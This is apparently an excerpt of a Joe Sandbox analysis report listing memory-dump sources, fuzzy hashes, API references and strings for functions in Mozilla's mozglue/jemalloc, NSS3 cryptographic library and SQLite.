Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: cb4f1dd41da3f1c5648f48d1dbb05932204005720f2dd5d4b46af1496074086e
Instruction ID: 752d6528bd7c56ddcf171f37d7a1ca5a589541f072c24ad878fccdc1887e9527
Opcode Fuzzy Hash: cb4f1dd41da3f1c5648f48d1dbb05932204005720f2dd5d4b46af1496074086e
Instruction Fuzzy Hash: 1B02B3B5B083808BE7049F36A88572B37B6ABC660CF14493CD85997F00EB75E856C793

Function 6CA2FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA9E7B8), ref: 6CA2FF81
LeaveCriticalSection.KERNEL32(6CA9E7B8), ref: 6CA3022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA30240
EnterCriticalSection.KERNEL32(6CA9E768), ref: 6CA3025B
LeaveCriticalSection.KERNEL32(6CA9E768), ref: 6CA3027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA2FE99, 6CA2FEB7, 6CA2FED3, 6CA30DB8, 6CA30DD3, 6CA319B4
<jemalloc>, xrefs: 6CA30D62, 6CA30D76, 6CA30DA7
: (malloc) Error in VirtualFree(), xrefs: 6CA30D67, 6CA30D7B, 6CA30DAC

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: faa1e28ec28d839a5376312711120e76a07a06256a27f2a6b6f69584743d49b9
Instruction ID: 9ef3b5ac104f1d2097f80b0f60bd512ba426c8888a366da92d3954fe7f3faeaa
Opcode Fuzzy Hash: faa1e28ec28d839a5376312711120e76a07a06256a27f2a6b6f69584743d49b9
Instruction Fuzzy Hash: 7CC2E071A057518FD714CF28C9A1716BBE1BF85328F28C66DE8A9CB795C731E881CB81

Function 6CA3ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CA3EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA3EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CA41695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA416B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CA41770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA41A3E

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 3123a0844b35ddef46f05c82a271d8217eeee1531d62346ab2367877bd01d00c
Instruction ID: 50cf556f21bdd18678ae82afbbca59b1d9d810c163843a11bdfbbb4fece24cf9
Opcode Fuzzy Hash: 3123a0844b35ddef46f05c82a271d8217eeee1531d62346ab2367877bd01d00c
Instruction Fuzzy Hash: 5DB31B71E01229CFCB14CFA9C890AADB7B2FF49304F1982A9D559AB745D730AD85CF90

Function 6CB2EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB2EF63

Part of subcall function 6CB387D0: PORT_NewArena_Util.NSS3(00000800,6CB2EF74,00000000), ref: 6CB387E8
Part of subcall function 6CB387D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CB2EF74,00000000), ref: 6CB387FD
Part of subcall function 6CB387D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CB3884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CB2F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB2F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CB2F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CB2F374
PL_strcasecmp.NSS3(6CC72FD4,?), ref: 6CB2F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CB2F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CB2F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CB2F67D
CERT_DestroyName.NSS3(?), ref: 6CB2F68B

Part of subcall function 6CB38320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CB38338
Part of subcall function 6CB38320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CB38364
Part of subcall function 6CB38320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CB3838E
Part of subcall function 6CB38320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB383A5
Part of subcall function 6CB38320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB383E3

Part of subcall function 6CB384C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CB384D9
Part of subcall function 6CB384C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CB38528

Part of subcall function 6CB38900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CB2F599,?,00000000), ref: 6CB38955

Strings

oid., xrefs: 6CB2F2CF
", xrefs: 6CB2F21B
*, xrefs: 6CB2F3C6

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: f3a25dd71bc4f9717cba2309048f1d7dfab877d854d0b8f54bbcd3e0ee8c00e2
Instruction ID: 36b62989808d87a0d6beaa49e9f90dfe3a9be1b13480f9bd10e9880dad9f1c60
Opcode Fuzzy Hash: f3a25dd71bc4f9717cba2309048f1d7dfab877d854d0b8f54bbcd3e0ee8c00e2
Instruction Fuzzy Hash: 3D2228716083E14BE714CE29C49077BB7E6EB85318F184A2EE49D87B95E7399C05CB83

Function 6CB9EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB9C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CB9DAE2,?), ref: 6CB9C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB9F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB9F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CB9F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB9F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CC6218C), ref: 6CB9F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CB9F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB9F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CB9F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CB9F210

Part of subcall function 6CB452D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CB9F1E9,?,00000000,?,?), ref: 6CB452F5
Part of subcall function 6CB452D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CB4530F
Part of subcall function 6CB452D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CB45326
Part of subcall function 6CB452D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CB9F1E9,?,00000000,?,?), ref: 6CB45340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB9F227

Part of subcall function 6CB8FAB0: free.MOZGLUE(?,-00000001,?,?,6CB2F673,00000000,00000000), ref: 6CB8FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CB9F23E

Part of subcall function 6CB8BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CB3E708,00000000,00000000,00000004,00000000), ref: 6CB8BE6A
Part of subcall function 6CB8BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CB404DC,?), ref: 6CB8BE7E
Part of subcall function 6CB8BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CB8BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CB9F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CB9F3A8

Part of subcall function 6CBDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBDC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CB9F3B3

Part of subcall function 6CB42D20: PK11_DestroyObject.NSS3(?,?), ref: 6CB42D3C
Part of subcall function 6CB42D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CB42D5F

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 7de52aa76098f305e6225c25c6502efb31a835dec8663201ab72f6d032abb46e
Instruction ID: e24519a28bc7ee5a60e9c35624b6c091c34a3a33490cd1f55f7ac4d01f73b770
Opcode Fuzzy Hash: 7de52aa76098f305e6225c25c6502efb31a835dec8663201ab72f6d032abb46e
Instruction Fuzzy Hash: 55D1BFB6E052459FDB00CFA9D880AAEB7F9FF49328F158039E815A7711E731E805CB51

Function 6CB7A9A0 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB7A9CA

Part of subcall function 6CB90FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB387ED,00000800,6CB2EF74,00000000), ref: 6CB91000
Part of subcall function 6CB90FF0: PR_NewLock.NSS3(?,00000800,6CB2EF74,00000000), ref: 6CB91016
Part of subcall function 6CB90FF0: PL_InitArenaPool.NSS3(00000000,security,6CB387ED,00000008,?,00000800,6CB2EF74,00000000), ref: 6CB9102B

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6CC90B04,?), ref: 6CB7A9F7

Part of subcall function 6CB8B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC618D0,?), ref: 6CB8B095

PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CB7AA0B
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB7AA33
PK11_GetInternalKeySlot.NSS3 ref: 6CB7AA55
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6CB7AA69
PORT_FreeArena_Util.NSS3(00000001,00000001), ref: 6CB7AAD4
PK11_ListFixedKeysInSlot.NSS3(?,00000000,?), ref: 6CB7AB18
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB7AB5A
PK11_FreeSymKey.NSS3(00000000), ref: 6CB7AB85
PK11_FreeSymKey.NSS3(00000000), ref: 6CB7AB99
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CB7ABDC
PK11_FreeSymKey.NSS3(?), ref: 6CB7ABE9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB7ABF7

Part of subcall function 6CB7AC10: PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CB7AB3E,?,?,?), ref: 6CB7AC35
Part of subcall function 6CB7AC10: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CB7AB3E,?,?,?), ref: 6CB7AC55
Part of subcall function 6CB7AC10: PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CB7AB3E,?,?), ref: 6CB7AC70
Part of subcall function 6CB7AC10: PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CB7AC92
Part of subcall function 6CB7AC10: PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB7AB3E), ref: 6CB7ACD7

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: K11_$Util$Free$Arena_Item_$Zfree$ArenaContextSlot$Alloc_AuthenticateBlockCipherCreateDecodeDestroyErrorFixedInitInternalKeysListLockPoolQuickSizecalloc
String ID:
API String ID: 2602994911-0
Opcode ID: c31936bfb150e274d19151c11673b1b38631cc847a741fb839538da45edf78f0
Instruction ID: c4753eec38887d806e8ae155883c9b7eebd8aae6c994d3fa199323789e80e4ae
Opcode Fuzzy Hash: c31936bfb150e274d19151c11673b1b38631cc847a741fb839538da45edf78f0
Instruction Fuzzy Hash: 1F71F4719083819BDB60CF64DC80B5BB7A9EF84358F104A29FD7497740F731D9488BA2

Function 6CABECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CABED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CABEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CABEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CABEF98

Strings

%s at line %d of [%.10s], xrefs: 6CABF492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CABF483
database corruption, xrefs: 6CABF48D

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 27789e6ee7fc9a4dfdc986ea9d80456abf2c55919c63da5507332db37af88b07
Instruction ID: 19d2bf92b64d8f76a6d22b36813200b63d7e3e2d8aca049a2fcfb0acf976e2fd
Opcode Fuzzy Hash: 27789e6ee7fc9a4dfdc986ea9d80456abf2c55919c63da5507332db37af88b07
Instruction Fuzzy Hash: 0462F078A042458FEB04CF28C880B9ABBB5BF45318F1C819DD8557BB92D775E8C6CB91

Function 6CA3D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA9E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA4D1C5), ref: 6CA3D4F2
LeaveCriticalSection.KERNEL32(6CA9E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA4D1C5), ref: 6CA3D50B

Part of subcall function 6CA1CFE0: EnterCriticalSection.KERNEL32(6CA9E784), ref: 6CA1CFF6
Part of subcall function 6CA1CFE0: LeaveCriticalSection.KERNEL32(6CA9E784), ref: 6CA1D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA4D1C5), ref: 6CA3D52E
EnterCriticalSection.KERNEL32(6CA9E7DC), ref: 6CA3D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA3D6A6
LeaveCriticalSection.KERNEL32(6CA9E7DC), ref: 6CA3D712
LeaveCriticalSection.KERNEL32(6CA9E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA4D1C5), ref: 6CA3D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA3D7EA

Strings

<jemalloc>, xrefs: 6CA3D827
: (malloc) Error initializing arena, xrefs: 6CA3D82C

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 42771fe2441af51bbd829daba1da094721311b7a5e3066418768d5c25f4d46ca
Instruction ID: 394c4f4e16f0ec624ced1bb1898a7f013d232ca0e6bb79c9cef220a2059a1326
Opcode Fuzzy Hash: 42771fe2441af51bbd829daba1da094721311b7a5e3066418768d5c25f4d46ca
Instruction Fuzzy Hash: 0291E571E24721CFD718CF29C5A525AB7E1FB85314F14992EE4AEC7A81DB30E885CB42

Function 6CA13480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA13492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA134A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA134EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CA1350E
__Init_thread_footer.LIBCMT ref: 6CA13522
__aulldiv.LIBCMT ref: 6CA13552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA1357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA13592

Part of subcall function 6CA4AB89: EnterCriticalSection.KERNEL32(6CA9E370,?,?,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284), ref: 6CA4AB94
Part of subcall function 6CA4AB89: LeaveCriticalSection.KERNEL32(6CA9E370,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA4ABD1

Strings

kernel32.dll, xrefs: 6CA134EA
GetSystemTimePreciseAsFileTime, xrefs: 6CA13508

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 46a033438210c8004be2c0bf6dd69ccf29f1425d643448f4e41d2e57acdc1702
Instruction ID: cbfb33fa972316e7f5254422ad2ee123fd3c1159a8032fc6906f42b4459d9ba6
Opcode Fuzzy Hash: 46a033438210c8004be2c0bf6dd69ccf29f1425d643448f4e41d2e57acdc1702
Instruction Fuzzy Hash: 7A310171B1130B9FDF08DFB9CD4AAAA73B9FB45714F108119E64293A50EF30A946CB60

Function 6CB60EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CB60F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CB60FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CB61006
PK11_FreeSymKey.NSS3(?), ref: 6CB6101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB61033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB6103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CB61048
memcpy.VCRUNTIME140(?,?,?), ref: 6CB6108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CB610BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CB610D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CB6112E

Part of subcall function 6CB61570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CB608C4,?,?), ref: 6CB615B8
Part of subcall function 6CB61570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CB608C4,?,?), ref: 6CB615C1
Part of subcall function 6CB61570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB6162E
Part of subcall function 6CB61570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB61637

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: a42ebab47af80018bf6f9265d6446596e6fc2d7083021e92b864331d88f61c58
Instruction ID: b117a3bd4e136c467fa2f4428b97c4554ade4a5f7269e50cee419df12f678c5d
Opcode Fuzzy Hash: a42ebab47af80018bf6f9265d6446596e6fc2d7083021e92b864331d88f61c58
Instruction Fuzzy Hash: 4C71E0B1A042858FDB00CFA6DC81A6AF7B8FF48318F18862DE90997B11E731D954CB91

Function 6CB86C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB31C6F,00000000,00000004,?,?), ref: 6CB86C3F

Part of subcall function 6CBDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBDC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CB31C6F,00000000,00000004,?,?), ref: 6CB86C60
PR_ExplodeTime.NSS3(00000000,6CB31C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CB31C6F,00000000,00000004,?,?), ref: 6CB86C94

Strings

gfff, xrefs: 6CB86D66
gfff, xrefs: 6CB86D30
gfff, xrefs: 6CB86CFD
gfff, xrefs: 6CB86D9C
gfff, xrefs: 6CB86CF5

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
